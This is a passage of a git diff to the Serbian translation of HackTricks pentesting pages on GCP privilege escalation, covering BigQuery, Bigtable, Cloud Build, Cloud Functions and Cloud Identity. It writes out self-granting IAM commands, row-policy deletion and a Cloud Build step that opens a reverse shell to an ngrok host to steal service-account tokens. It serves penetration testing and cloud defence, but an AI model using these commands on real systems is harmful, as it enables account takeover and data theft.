+Create Batch job with reverse shell ```bash gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - < + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md index a37fe5ef6..6d4e3b7cb 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md @@ -4,29 +4,42 @@ ## BigQuery -Za više informacija o BigQuery, proverite: +Za više informacija o BigQuery pogledajte: {{#ref}} ../gcp-services/gcp-bigquery-enum.md {{#endref}} -### Čitanje Tabele +### Čitanje tabele -Čitanjem informacija koje su pohranjene unutar BigQuery tabele može biti moguće pronaći s**enzitivne informacije**. Da biste pristupili informacijama, potrebne su dozvole **`bigquery.tables.get`**, **`bigquery.jobs.create`** i **`bigquery.tables.getData`**: +Čitanjem informacija pohranjenih u BigQuery tabeli može se pronaći o**setljive informacije**. Za pristup informacijama potrebna je dozvola **`bigquery.tables.get`**, **`bigquery.jobs.create`** i **`bigquery.tables.getData`**: + +
+Čitanje podataka iz BigQuery tabele ```bash bq head .
bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000' ``` + + ### Izvoz podataka -Ovo je još jedan način za pristup podacima. **Izvezite ih u cloud storage bucket** i **preuzmite datoteke** sa informacijama.\ -Za izvođenje ove radnje potrebne su sledeće dozvole: **`bigquery.tables.export`**, **`bigquery.jobs.create`** i **`storage.objects.create`**. +Ovo je još jedan način da se pristupi podacima. **Izvezi ih u cloud storage bucket** i **preuzmi fajlove** sa informacijama.\ +Za izvođenje ove akcije potrebna su sledeća dopuštenja: **`bigquery.tables.export`**, **`bigquery.jobs.create`** i **`storage.objects.create`**. + +
+Export BigQuery table to Cloud Storage ```bash bq extract .
"gs:///table*.csv" ``` -### Unesite podatke + -Možda je moguće **uneti određene pouzdane podatke** u Bigquery tabelu kako bi se iskoristila **ranjivost na nekom drugom mestu.** To se može lako uraditi sa dozvolama **`bigquery.tables.get`**, **`bigquery.tables.updateData`** i **`bigquery.jobs.create`**: +### Ubacivanje podataka + +Moguće je ubaciti podatke koji će biti smatrani pouzdanima u BigQuery tabelu kako bi se zloupotrebila **ranjivost na nekom drugom mestu.** Ovo se lako može uraditi sa dozvolama **`bigquery.tables.get`**, **`bigquery.tables.updateData`** i **`bigquery.jobs.create`**: + +
+Ubacivanje podataka u BigQuery tabelu ```bash # Via query bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)' @@ -34,9 +47,14 @@ bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, # Via insert param bq insert dataset.table /tmp/mydata.json ``` +
+ ### `bigquery.datasets.setIamPolicy` -Napadač bi mogao da zloupotrebi ovu privilegiju da **dodeli sebi dodatne dozvole** nad BigQuery skupom podataka: +Napadač može zloupotrebiti ovu privilegiju da **dodeli sebi dodatna ovlašćenja** nad BigQuery datasetom: + +
+Postavi IAM politiku na BigQuery dataset ```bash # For this you also need bigquery.tables.getIamPolicy bq add-iam-policy-binding \ @@ -46,9 +64,14 @@ bq add-iam-policy-binding \ # use the set-iam-policy if you don't have bigquery.tables.getIamPolicy ``` +
+ ### `bigquery.datasets.update`, (`bigquery.datasets.get`) -Samo ova dozvola omogućava **da ažurirate svoj pristup BigQuery skupu podataka modifikovanjem ACL-ova** koji označavaju ko može da mu pristupi: +Samo ova dozvola omogućava da **ažurirate svoj pristup nad BigQuery skupom podataka menjajući ACLs** koji ukazuju ko može da mu pristupi: + +
+Ažuriraj ACLs skupa podataka BigQuery ```bash # Download current permissions, reqires bigquery.datasets.get bq show --format=prettyjson : > acl.json @@ -57,9 +80,14 @@ bq update --source acl.json : ## Read it with bq head $PROJECT_ID:.
``` + + ### `bigquery.tables.setIamPolicy` -Napadač bi mogao da zloupotrebi ovu privilegiju da **dodeli sebi dodatne dozvole** nad BigQuery tabelom: +Napadač može zloupotrebiti ovu privilegiju da **sebi dodeli dodatna ovlašćenja** nad BigQuery tabelom: + +
+Postavljanje IAM politike na BigQuery tabelu ```bash # For this you also need bigquery.tables.setIamPolicy bq add-iam-policy-binding \ @@ -69,14 +97,24 @@ bq add-iam-policy-binding \ # use the set-iam-policy if you don't have bigquery.tables.setIamPolicy ``` +
+ ### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create` -Prema dokumentaciji, sa pomenutim dozvolama je moguće **ažurirati politiku reda.**\ -Međutim, **koristeći cli `bq`** potrebne su vam još neke: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**. +Prema dokumentaciji, sa pomenutim dozvolama je moguće **ažurirati politiku pristupa reda.**\ +Međutim, **koristeći CLI `bq`** potrebne su još neke: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**. + +
+Kreiraj ili zameni politiku pristupa reda ```bash bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY ON `..` GRANT TO ("") FILTER USING (term = "Cfba");' # A example filter was used ``` -Moguće je pronaći ID filtera u izlazu enumeracije pravila redova. Primer: +
+ +Moguće je pronaći filter ID u izlazu row policies enumeration. Na primer: + +
+Prikaži row access policies ```bash bq ls --row_access_policies :.
@@ -84,7 +122,12 @@ Id Filter Predicate Grantees Creation Time Las ------------- ------------------ ----------------------------- ----------------- -------------------- apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09 ``` -Ako imate **`bigquery.rowAccessPolicies.delete`** umesto `bigquery.rowAccessPolicies.update`, možete jednostavno obrisati politiku: + + +Ako imate **`bigquery.rowAccessPolicies.delete`** umesto `bigquery.rowAccessPolicies.update`, možete jednostavno i obrisati politiku: + +
+Obriši row access policies ```bash # Remove one bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY ON `..`;' @@ -92,7 +135,9 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY ON `.< # Remove all (if it's the last row policy you need to use this bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `..`;' ``` +
+ > [!CAUTION] -> Joša potencijalna opcija za zaobilaženje politika pristupa redovima bi bila da jednostavno promenite vrednost ograničenih podataka. Ako možete da vidite samo kada je `term` `Cfba`, jednostavno izmenite sve zapise u tabeli da imaju `term = "Cfba"`. Međutim, ovo je sprečeno od strane bigquery. +> Još jedna potencijalna opcija za zaobilaženje row access policies bila bi jednostavno promeniti vrednost ograničenih podataka. Ako možeš da vidiš samo kada je `term` `Cfba`, samo izmeni sve zapise u tabeli da imaju `term = "Cfba"`. Međutim, bigquery to sprečava. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md index 08d0762e6..c587ce6ac 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md @@ -12,40 +12,50 @@ Za više informacija o Bigtable pogledajte: ### `bigtable.instances.setIamPolicy` -**Dozvole:** `bigtable.instances.setIamPolicy` (i obično `bigtable.instances.getIamPolicy` da biste pročitali trenutne bindinge). +**Dozvole:** `bigtable.instances.setIamPolicy` (i obično `bigtable.instances.getIamPolicy` za čitanje trenutnih bindinga). -Posedovanje IAM politike instance omogućava vam da sebi dodelite **`roles/bigtable.admin`** (ili bilo koju prilagođenu ulogu) koja se primenjuje na svaki klaster, tabelu, backup i ovlašćeni prikaz u instanci. +Posedovanje IAM politike instance omogućava vam da sebi dodelite **`roles/bigtable.admin`** (ili bilo koju prilagođenu ulogu) koja se propagira na svaki klaster, tabelu, backup i autorizovani prikaz u instanci. + +
Dodelite sebi ulogu bigtable.admin na instanci ```bash gcloud bigtable instances add-iam-policy-binding \ --member='user:' \ --role='roles/bigtable.admin' ``` -> [!TIP] -> Ako ne možete da prikažete postojeće bindinge, sastavite novi policy dokument i primenite ga pomoću `gcloud bigtable instances set-iam-policy`, pod uslovom da sebi zadržite pristup. +
-After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions. +> [!TIP] +> If you cannot list the existing bindings, craft a fresh policy document and push it with `gcloud bigtable instances set-iam-policy` as long as you keep yourself on it. + +Nakon ovoga, proverite [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) tehnike za više načina da zloupotrebite Bigtable dozvole. ### `bigtable.tables.setIamPolicy` **Dozvole:** `bigtable.tables.setIamPolicy` (opciono `bigtable.tables.getIamPolicy`). -Politike instance mogu biti zaključane dok su pojedinačne tabele dodeljene drugima. Ako možete da izmenite IAM tabele, možete sebe **promovisati u vlasnika ciljnog skupa podataka** bez diranja drugih radnih opterećenja. +Politike instance mogu biti zaključane dok su pojedinačne tabele dodeljene. Ako možete da izmenite IAM tabele, možete sebe **promovisati u vlasnika ciljanog skupa podataka** bez diranja drugih radnih opterećenja. + +
Dodelite sebi ulogu bigtable.admin na tabeli ```bash gcloud bigtable tables add-iam-policy-binding \ --instance= \ --member='user:' \ --role='roles/bigtable.admin' ``` -Nakon što posedujete ovu dozvolu, pogledajte [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) tehnike za više načina zloupotrebe Bigtable dozvola. +
+ +Nakon što potvrdite ovu dozvolu, pogledajte [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions. ### `bigtable.backups.setIamPolicy` **Dozvole:** `bigtable.backups.setIamPolicy` -Backup može biti vraćen u **any instance in any project** koje kontrolišete. Najpre dodelite svom identitetu pristup backupu, zatim ga vratite u sandbox u kojem imate Admin/Owner uloge. +Backups se mogu vratiti na **bilo koju instancu u bilo kojem projektu** kojim upravljate. Prvo, dajte svom identitetu pristup backup-u, zatim ga vratite u sandbox gde imate Admin/Owner role. -Ako imate dozvolu `bigtable.backups.setIamPolicy`, možete sebi dodeliti dozvolu `bigtable.backups.restore` da vratite stare backup-e i pokušate pristupiti osetljivim informacijama. +Ako imate dozvolu `bigtable.backups.setIamPolicy`, mogli biste sebi dodeliti dozvolu `bigtable.backups.restore` da biste vratili stare backup-e i pokušali pristupiti osetljivim informacijama. + +
Preuzimanje vlasništva nad backup snapshot-om ```bash # Take ownership of the snapshot gcloud bigtable backups add-iam-policy-binding \ @@ -53,14 +63,18 @@ gcloud bigtable backups add-iam-policy-binding \ --member='user:' \ --role='roles/bigtable.admin' ``` -Nakon dobijanja ove dozvole, pogledajte [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) kako da obnovite backup. +
+ +Nakon što imate ovu dozvolu, pogledajte [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) kako da obnovite backup. -### Update authorized view +### Ažuriraj autorizovani pogled -**Permissions:** `bigtable.authorizedViews.update` +**Dozvole:** `bigtable.authorizedViews.update` -Authorized Views su namenjene da cenzurišu (maskiraju) redove/kolone. Izmena ili brisanje istih uklanja fino podešene zaštitne mehanizme na koje se odbrambeni tim oslanja. +Authorized Views bi trebalo da maskiraju redove/kolone. Modifikovanje ili brisanje istih **uklanja fino definisane zaštitne mehanizme** na koje se odbrambeni tim oslanja. + +
Ažuriraj autorizovani pogled da proširiš pristup ```bash # Broaden the subset by uploading a permissive definition gcloud bigtable authorized-views update \ @@ -85,13 +99,17 @@ EOF gcloud bigtable authorized-views describe \ --instance= --table= ``` -After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) to check how to read from an authorized view. +
+ +Nakon dobijanja ove dozvole pogledajte [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) како да прочитате из authorized view. ### `bigtable.authorizedViews.setIamPolicy` **Dozvole:** `bigtable.authorizedViews.setIamPolicy`. Napadač sa ovom dozvolom može sebi dodeliti pristup Authorized View, koji može sadržati osetljive podatke do kojih inače ne bi imao pristup. + +
Dodelite sebi pristup authorized view ```bash # Give more permissions over an existing view gcloud bigtable authorized-views add-iam-policy-binding \ @@ -99,6 +117,10 @@ gcloud bigtable authorized-views add-iam-policy-binding \ --member='user:' \ --role='roles/bigtable.viewer' ``` -Nakon što uradite ovu proveru dozvola u [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) da biste proverili kako čitati iz autorizovanog prikaza. +
+ +Nakon što obavite ovu proveru dozvola, pogledajte [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) za uputstvo kako čitati iz ovlašćenog prikaza. + + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md index 83bc97ca8..3619fc2f1 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -### Kreirajte OAuth brend i klijenta +### Kreiranje OAuth brenda i klijenta [**Prema dokumentaciji**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), ovo su potrebne dozvole: @@ -14,6 +14,8 @@ - `clientauthconfig.clients.getWithSecret` - `clientauthconfig.clients.delete` - `clientauthconfig.clients.update` + +
Kreiranje OAuth brenda i klijenta ```bash # Create a brand gcloud iap oauth-brands list @@ -21,4 +23,6 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e # Create a client of the brand gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md index f2bf1456d..94635eee4 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md @@ -4,7 +4,7 @@ ## cloudbuild -Za više informacija o Cloud Build, proverite: +Za više informacija o Cloud Build pogledajte: {{#ref}} ../gcp-services/gcp-cloud-build-enum.md @@ -12,12 +12,14 @@ Za više informacija o Cloud Build, proverite: ### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs` -Sa ovom dozvolom možete **podneti cloud build**. Cloudbuild mašina će imati u svom fajl sistemu po **defaultu token cloudbuild Service Account-a**: `@cloudbuild.gserviceaccount.com`. Međutim, možete **navesti bilo koji servisni nalog unutar projekta** u cloudbuild konfiguraciji.\ -Stoga, možete jednostavno naterati mašinu da exfiltrira token na vaš server ili **dobiti reverznu školjku unutar nje i dobiti token** (fajl koji sadrži token može se promeniti). +Sa ovom dozvolom možete **pokrenuti cloud build**. Na cloudbuild mašini će u svom fajl sistemu po podrazumevano postojati token cloudbuild Service Account-a: `@cloudbuild.gserviceaccount.com`. Međutim, možete **navesti bilo koji Service Account unutar projekta** u cloudbuild konfiguraciji.\ +Zato možete jednostavno naterati mašinu da token exfiltrate-uje na vaš server ili **dobiti reverse shell unutar nje i pribaviti token** (fajl koji sadrži token se može promeniti). -#### Direktna eksploatacija putem gcloud CLI +#### Direct exploitation via gcloud CLI -1- Kreirajte `cloudbuild.yaml` i izmenite sa podacima vašeg listener-a. +1- Create `cloudbuild.yaml` and modify with your listener data + +
Cloud Build YAML configuration for reverse shell ```yaml steps: - name: bash @@ -27,19 +29,27 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ``` -2- Učitajte jednostavnu gradnju bez izvora, yaml datoteku i odredite SA koji će se koristiti za gradnju: +
+ +2- Otpremite jednostavan build bez izvora, yaml fajl i navedite SA koji će se koristiti za build: + +
Pošaljite Cloud Build sa specificiranim service account-om ```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com ``` +
+ #### Korišćenje python gcloud biblioteke -Možete pronaći originalni exploit skript [**ovde na GitHub-u**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (ali lokacija sa koje uzima token nije radila za mene). Stoga, proverite skript za automatizaciju [**kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) i python skript za dobijanje reverzne ljuske unutar cloudbuild mašine i [**ukradite je ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (u kodu možete pronaći kako da navedete druge servisne naloge)**.** +Možete pronaći originalni exploit script [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (ali lokacija sa koje uzima token nije radila za mene). Zbog toga, pogledajte skriptu za automatizaciju [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) i python skriptu za dobijanje reverse shell-a unutar cloudbuild mašine i [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (u kodu možete naći kako da specificirate druge service accounts)**.** Za detaljnije objašnjenje, posetite [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) ### `cloudbuild.repositories.accessReadToken` -Sa ovom dozvolom korisnik može dobiti **token za čitanje pristupa** koji se koristi za pristup repozitorijumu: +Sa ovom dozvolom korisnik može dobiti **read access token** koji se koristi za pristup repozitorijumu: + +
Nabavite read access token za repozitorijum ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ @@ -47,9 +57,13 @@ curl -X POST \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadToken" ``` +
+ ### `cloudbuild.repositories.accessReadWriteToken` -Sa ovom dozvolom korisnik može dobiti **token za čitanje i pisanje** koji se koristi za pristup repozitorijumu: +Sa ovom dozvolom korisnik može da dobije **read and write access token** koji se koristi za pristup repozitorijumu: + +
Dobijte read and write access token za repozitorijum ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ @@ -57,12 +71,18 @@ curl -X POST \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadWriteToken" ``` +
+ ### `cloudbuild.connections.fetchLinkableRepositories` -Sa ovom dozvolom možete **dobiti repozitorijume kojima veza ima pristup:** +Sa ovom dozvolom možete **dobiti repozitorijume kojima konekcija ima pristup:** + +
Dobavljanje repozitorijuma koji se mogu povezati ```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections/:fetchLinkableRepositories" ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md index 10b8b0935..7b01bbfb3 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md @@ -12,19 +12,21 @@ Više informacija o Cloud Functions: ### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs` -Napadač sa ovim privilegijama može **napraviti novu Cloud Function sa proizvoljnim (malicioznim) kodom i dodeliti joj Service Account**. Zatim, iscuriti token Service Account-a iz metapodataka kako bi eskalirao privilegije.\ -Neke privilegije za aktiviranje funkcije mogu biti potrebne. +Napadač sa ovim privilegijama može **kreirati novu Cloud Function sa proizvoljnim (zlonamernim) kodom i dodeliti joj Service Account**. Zatim, leak token Service Account-a iz metapodataka kako bi eskalirao privilegije na njega.\ +Moguće su potrebne dodatne privilegije da bi se funkcija pokrenula. -Eksploatacijski skripti za ovu metodu mogu se naći [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) i [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py), a unapred izgrađeni .zip fajl može se naći [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions). +Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions). ### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs` -Napadač sa ovim privilegijama može **modifikovati kod funkcije i čak modifikovati servisni nalog koji je povezan** sa ciljem exfiltracije tokena. +Napadač sa ovim privilegijama može **izmeniti kod Function-a i čak izmeniti prikačeni Service Account** sa ciljem exfiltrating the token. > [!CAUTION] -> Da biste implementirali cloud funkcije, takođe će vam biti potrebne actAs dozvole za podrazumevani servisni nalog za računanje ili za servisni nalog koji se koristi za izgradnju slike. +> Da biste deploy-ovali Cloud Functions, takođe će vam trebati actAs permisije nad default compute service account-om ili nad service account-om koji se koristi za build-ovanje image-a. -Neke dodatne privilegije kao što su `.call` dozvola za verziju 1 cloudfunctions ili uloga `role/run.invoker` za aktiviranje funkcije mogu biti potrebne. +Moguće su potrebne dodatne privilegije kao što su `.call` permission za verziju 1 cloudfunctions ili uloga `role/run.invoker` da bi se funkcija pokrenula. + +
Ažuriranje Cloud Function sa zlonamernim kodom za exfiltrate Service Account token ```bash # Create new code temp_dir=$(mktemp -d) @@ -54,14 +56,18 @@ gcloud functions deploy \ # Get SA token calling the new function code gcloud functions call ``` -> [!CAUTION] -> Ako dobijete grešku `Permission 'run.services.setIamPolicy' denied on resource...` to je zato što koristite parametar `--allow-unauthenticated` i nemate dovoljno dozvola za to. +
-Eksploatacijski skript za ovu metodu možete pronaći [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py). +> [!CAUTION] +> Ako dobijete grešku `Permission 'run.services.setIamPolicy' denied on resource...` to je zato što koristite parametar `--allow-unauthenticated` i nemate dovoljno privilegija za to. + +Exploit script za ovu metodu nalazi se [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py). ### `cloudfunctions.functions.sourceCodeSet` -Sa ovom dozvolom možete dobiti **potpisanu URL adresu da biste mogli da otpremite datoteku u funkcijski bucket (ali kod funkcije neće biti promenjen, još uvek ga morate ažurirati)** +Uz ovu permisiju možete dobiti **signed URL koji omogućava otpremanje fajla u bucket funkcije (ali kod funkcije neće biti promenjen, i dalje morate da ga ažurirate)** + +
Generate signed upload URL for Cloud Function ```bash # Generate the URL curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \ @@ -69,38 +75,40 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca -H "Content-Type: application/json" \ -d '{}' ``` -Nisam baš siguran koliko je ova dozvola korisna iz perspektive napadača, ali dobro je znati. +
-### `cloudfunctions.functions.setIamPolicy`, `iam.serviceAccounts.actAs` +Nisam sasvim siguran koliko je korisna samo ova dozvola iz perspektive napadača, ali dobro je znati. -Dajte sebi bilo koju od prethodnih **`.update`** ili **`.create`** privilegija da biste eskalirali. +### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs` + +Dodelite sebi bilo koju od prethodnih **`.update`** ili **`.create`** privilegija da eskalirate. ### `cloudfunctions.functions.update` -Samo imajući **`cloudfunctions`** dozvole, bez **`iam.serviceAccounts.actAs`** nećete moći da ažurirate funkciju, PA TO NIJE VALIDNA PRIVESC. +Ako imate samo **`cloudfunctions`** dozvole, bez **`iam.serviceAccounts.actAs`**, **nećete moći da ažurirate funkciju, TAKO DA OVO NIJE VALIDAN PRIVESC.** -### Pristup za čitanje i pisanje nad bucket-om +### Read & Write Access over the bucket -Ako imate pristup za čitanje i pisanje nad bucket-om, možete pratiti promene u kodu i kada god dođe do **ažuriranja u bucket-u, možete ažurirati novi kod sa svojim kodom** koji će nova verzija Cloud Function-a pokrenuti sa dostavljenim backdoored kodom. +Ako imate pristup za čitanje i pisanje nad bucket-om, možete pratiti promene u kodu i kad god se desi **ažuriranje u bucket-u, možete zameniti novi kod svojim kodom** tako da će nova verzija Cloud Function biti pokrenuta sa poslatim backdoored code-om. -Možete proveriti više o napadu u: +You can check more about the attack in: {{#ref}} gcp-storage-privesc.md {{#endref}} -Međutim, ne možete ovo koristiti za prethodno kompromitovanje trećih strana Cloud Functions, jer ako kreirate bucket u svom nalogu i date mu javne dozvole tako da eksterni projekat može pisati preko njega, dobijate sledeću grešku: +Međutim, ovo ne možete koristiti za prethodno kompromitovanje trećih Cloud Functions, jer ako kreirate bucket u svom nalogu i date mu javne dozvole tako da eksterni projekat može pisati u njega, dobićete sledeću grešku:
> [!CAUTION] -> Međutim, ovo bi moglo biti korišćeno za DoS napade. +> Međutim, ovo bi moglo biti iskorišćeno za DoS napade. -### Pristup za čitanje i pisanje nad Artifact Registry +### Read & Write Access over Artifact Registry -Kada se kreira Cloud Function, nova docker slika se šalje u Artifact Registry projekta. Pokušao sam da modifikujem sliku novom, pa čak i da obrišem trenutnu sliku (i `cache` sliku) i ništa se nije promenilo, cloud function nastavlja da radi. Stoga, možda bi **moglo biti moguće zloupotrebiti napad Race Condition** kao sa bucket-om da promenite docker kontejner koji će biti pokrenut, ali **samo modifikovanje sačuvane slike nije moguće za kompromitovanje Cloud Function-a**. +Kada se kreira Cloud Function, nova docker image se postavlja u Artifact Registry projekta. Pokušao sam da modifikujem image novim, pa čak i da obrišem trenutni image (i `cache` image) i ništa se nije promenilo, Cloud Function je nastavila da radi. Dakle, možda bi **moglo biti moguće zloupotrebiti Race Condition attack** slično kao sa bucket-om da se promeni docker container koji će biti pokrenut, ali **samo modifikovanje sačuvanog image-a nije dovoljno da se kompromituje Cloud Function**. -## Reference +## References - [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md index b89f3c40f..272e22f1f 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md @@ -4,22 +4,28 @@ ## Cloudidentity -Za više informacija o cloudidentity servisu, proverite ovu stranicu: +Za više informacija o cloudidentity servisu, pogledajte ovu stranicu: {{#ref}} ../gcp-services/gcp-iam-and-org-policies-enum.md {{#endref}} -### Dodajte se u grupu +### Dodajte sebe u grupu -Ako vaš korisnik ima dovoljno dozvola ili je grupa pogrešno konfigurisana, može se učlaniti u novu grupu: +Ako vaš nalog ima dovoljno dozvola ili je grupa pogrešno konfigurisana, može sebi dodeliti članstvo u novoj grupi: + +
Dodajte sebe u Cloud Identity grupu ```bash gcloud identity groups memberships add --group-email --member-email [--roles OWNER] # If --roles isn't specified you will get MEMBER ``` -### Izmeni članstvo u grupi +
-Ako vaš korisnik ima dovoljno dozvola ili je grupa pogrešno konfigurisana, može biti u mogućnosti da postane VLASNIK grupe čiji je član: +### Izmena članstva u grupi + +Ako vaš korisnik ima dovoljno dozvola ili je grupa pogrešno konfigurisana, možda će moći da sebi dodeli ulogu OWNER u grupi čiji je član: + +
Izmenite članstvo u grupi da postanete OWNER ```bash # Check the current membership level gcloud identity groups memberships describe --member-email --group-email @@ -27,4 +33,6 @@ gcloud identity groups memberships describe --member-email --group-email # If not OWNER try gcloud identity groups memberships modify-membership-roles --group-email --member-email --add-roles=OWNER ``` +
